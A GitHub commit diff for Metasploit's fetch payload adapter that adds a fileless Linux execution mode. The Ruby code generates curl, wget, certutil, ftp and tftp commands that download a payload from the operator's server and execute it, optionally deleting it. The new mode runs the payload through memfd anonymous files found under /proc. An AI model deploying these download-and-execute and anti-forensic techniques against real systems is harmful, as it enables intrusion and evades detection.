Skip to content

Commit e9d4a9d

Browse files
authored
Merge pull request rapid7#19858 from msutovsky-r7/fileless_elf_execution
Fileless elf execution
2 parents 8f00370 + dddcdcc commit e9d4a9d

File tree

3 files changed

+90
-40
lines changed

3 files changed

+90
-40
lines changed

lib/msf/core/payload/adapter/fetch.rb

Lines changed: 83 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,13 @@
11
module Msf::Payload::Adapter::Fetch
2-
32
def initialize(*args)
43
super
54
register_options(
65
[
76
Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
8-
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: /^[^\s\/\\]*$/),
97
Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
108
# FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
119
Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']),
1210
Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
13-
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex:/^[\S]*$/)
1411
]
1512
)
1613
register_advanced_options(
@@ -143,15 +140,24 @@ def srvport
143140

144141
def srvuri
145142
return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?
143+
146144
default_srvuri
147145
end
148146

149147
def windows?
150148
return @windows unless @windows.nil?
149+
151150
@windows = platform.platforms.first == Msf::Module::Platform::Windows
152151
@windows
153152
end
154153

154+
def linux?
155+
return @linux unless @linux.nil?
156+
157+
@linux = platform.platforms.first == Msf::Module::Platform::Linux
158+
@linux
159+
end
160+
155161
def _check_tftp_port
156162
# Most tftp clients do not have configurable ports
157163
if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank?
@@ -177,32 +183,36 @@ def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s)
177183
comm = ::Rex::Socket::Comm::Local
178184
when /\A-?[0-9]+\Z/
179185
comm = framework.sessions.get(srv_comm.to_i)
180-
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
181-
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
186+
raise("Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
187+
raise("Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
182188
when nil, ''
183189
unless ip.nil?
184190
comm = Rex::Socket::SwitchBoard.best_comm(ip)
185191
end
186192
else
187-
raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid")
193+
raise("SocketServer Comm '#{srv_comm}' is invalid")
188194
end
189195

190196
comm || ::Rex::Socket::Comm::Local
191197
end
192198

193-
def _execute_add
194-
return _execute_win if windows?
195-
return _execute_nix
199+
def _execute_add(get_file_cmd)
200+
return _execute_win(get_file_cmd) if windows?
201+
202+
return _execute_nix(get_file_cmd)
196203
end
197204

198-
def _execute_win
205+
def _execute_win(get_file_cmd)
199206
cmds = " & start /B #{_remote_destination_win}"
200207
cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE']
201-
cmds
208+
get_file_cmd << cmds
202209
end
203210

204-
def _execute_nix
205-
cmds = ";chmod +x #{_remote_destination_nix}"
211+
def _execute_nix(get_file_cmd)
212+
return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS']
213+
214+
cmds = get_file_cmd
215+
cmds << ";chmod +x #{_remote_destination_nix}"
206216
cmds << ";#{_remote_destination_nix}&"
207217
cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
208218
cmds
@@ -211,93 +221,132 @@ def _execute_nix
211221
def _generate_certutil_command
212222
case fetch_protocol
213223
when 'HTTP'
214-
cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}"
224+
get_file_cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}"
215225
when 'HTTPS'
216226
# I don't think there is a way to disable cert check in certutil....
217227
print_error('CERTUTIL binary does not support insecure mode')
218228
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL')
219-
cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}"
229+
get_file_cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}"
220230
else
221231
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
222232
end
223-
cmd + _execute_add
233+
_execute_add(get_file_cmd)
234+
end
235+
236+
# The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor
237+
def _generate_fileless(get_file_cmd)
238+
# get list of all $USER's processes
239+
cmd = 'FOUND=0'
240+
cmd << ";for i in $(ps -u $USER | awk '{print $1}')"
241+
# already found anonymous file where we can write
242+
cmd << '; do if [ $FOUND -eq 0 ]'
243+
244+
# look for every symbolic link with write rwx permissions
245+
# if found one, try to download payload into the anonymous file
246+
# and execute it
247+
cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'
248+
cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]'
249+
cmd << "; then if $(#{get_file_cmd} >/dev/null)"
250+
cmd << '; then $f'
251+
cmd << '; FOUND=1'
252+
cmd << '; break'
253+
cmd << '; fi'
254+
cmd << '; fi'
255+
cmd << '; done'
256+
cmd << '; fi'
257+
cmd << '; done'
258+
259+
cmd
224260
end
225261

226262
def _generate_curl_command
227263
case fetch_protocol
228264
when 'HTTP'
229-
cmd = "curl -so #{_remote_destination} http://#{download_uri}"
265+
get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri}"
230266
when 'HTTPS'
231-
cmd = "curl -sko #{_remote_destination} https://#{download_uri}"
267+
get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri}"
232268
when 'TFTP'
233-
cmd = "curl -so #{_remote_destination} tftp://#{download_uri}"
269+
get_file_cmd = "curl -so #{_remote_destination} tftp://#{download_uri}"
234270
else
235271
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
236272
end
237-
cmd + _execute_add
273+
_execute_add(get_file_cmd)
238274
end
239275

240276
def _generate_ftp_command
241277
case fetch_protocol
242278
when 'FTP'
243-
cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
279+
get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}"
244280
when 'HTTP'
245-
cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
281+
get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}"
246282
when 'HTTPS'
247-
cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
283+
get_file_cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}"
248284
else
249285
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
250286
end
287+
_execute_add(get_file_cmd)
251288
end
252289

253290
def _generate_tftp_command
254291
_check_tftp_port
255292
case fetch_protocol
256293
when 'TFTP'
257294
if windows?
258-
cmd = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}"
295+
fetch_command = _execute_win("tftp -i #{srvhost} GET #{srvuri} #{_remote_destination}")
259296
else
260297
_check_tftp_file
261-
cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
298+
if datastore['FETCH_FILELESS'] && linux?
299+
return _generate_fileless("(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}")
300+
else
301+
fetch_command = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
302+
end
262303
end
263304
else
264305
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
265306
end
266-
cmd
307+
fetch_command
267308
end
268309

269310
def _generate_tnftp_command
270311
case fetch_protocol
271312
when 'FTP'
272-
cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
313+
get_file_cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}"
273314
when 'HTTP'
274-
cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
315+
get_file_cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}"
275316
when 'HTTPS'
276-
cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
317+
get_file_cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}"
277318
else
278319
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
279320
end
321+
_execute_add(get_file_cmd)
280322
end
281323

282324
def _generate_wget_command
283325
case fetch_protocol
284326
when 'HTTPS'
285-
cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
327+
get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
286328
when 'HTTP'
287-
cmd = "wget -qO #{_remote_destination} http://#{download_uri}"
329+
get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri}"
288330
else
289331
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
290332
end
291-
cmd + _execute_add
333+
334+
_execute_add(get_file_cmd)
292335
end
293336

294337
def _remote_destination
295338
return _remote_destination_win if windows?
339+
296340
return _remote_destination_nix
297341
end
298342

299343
def _remote_destination_nix
300344
return @remote_destination_nix unless @remote_destination_nix.nil?
345+
346+
if datastore['FETCH_FILELESS']
347+
@remote_destination_nix = '$f'
348+
return @remote_destination_nix
349+
end
301350
writable_dir = datastore['FETCH_WRITABLE_DIR']
302351
writable_dir = '.' if writable_dir.blank?
303352
writable_dir += '/' unless writable_dir[-1] == '/'
@@ -310,12 +359,13 @@ def _remote_destination_nix
310359

311360
def _remote_destination_win
312361
return @remote_destination_win unless @remote_destination_win.nil?
362+
313363
writable_dir = datastore['FETCH_WRITABLE_DIR']
314364
writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\'
315365
payload_filename = datastore['FETCH_FILENAME']
316366
payload_filename = srvuri if payload_filename.blank?
317367
payload_path = writable_dir + payload_filename
318-
payload_path = payload_path + '.exe' unless payload_path[-4..-1] == '.exe'
368+
payload_path += '.exe' unless payload_path[-4..] == '.exe'
319369
@remote_destination_win = payload_path
320370
@remote_destination_win
321371
end
Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
module Msf::Payload::Adapter::Fetch::LinuxOptions
2-
32
def initialize(info = {})
4-
super(update_info(info,
5-
'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '/tmp' }
6-
))
3+
super
74
register_options(
85
[
9-
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL FTP TFTP TNFTP WGET }])
6+
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]),
7+
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
8+
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'false']),
9+
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', '/tmp'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'false'])
1010
]
1111
)
1212
end
13-
end
13+
end

lib/msf/core/payload/adapter/fetch/windows_options.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,10 @@ module Msf::Payload::Adapter::Fetch::WindowsOptions
22

33
def initialize(info = {})
44
super
5-
deregister_options('FETCH_WRITABLE_DIR')
65
register_options(
76
[
87
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL TFTP CERTUTIL }]),
8+
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}),
99
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', '%TEMP%'], regex:/^[\S]*$/)
1010
]
1111
)

0 commit comments

Comments
 (0)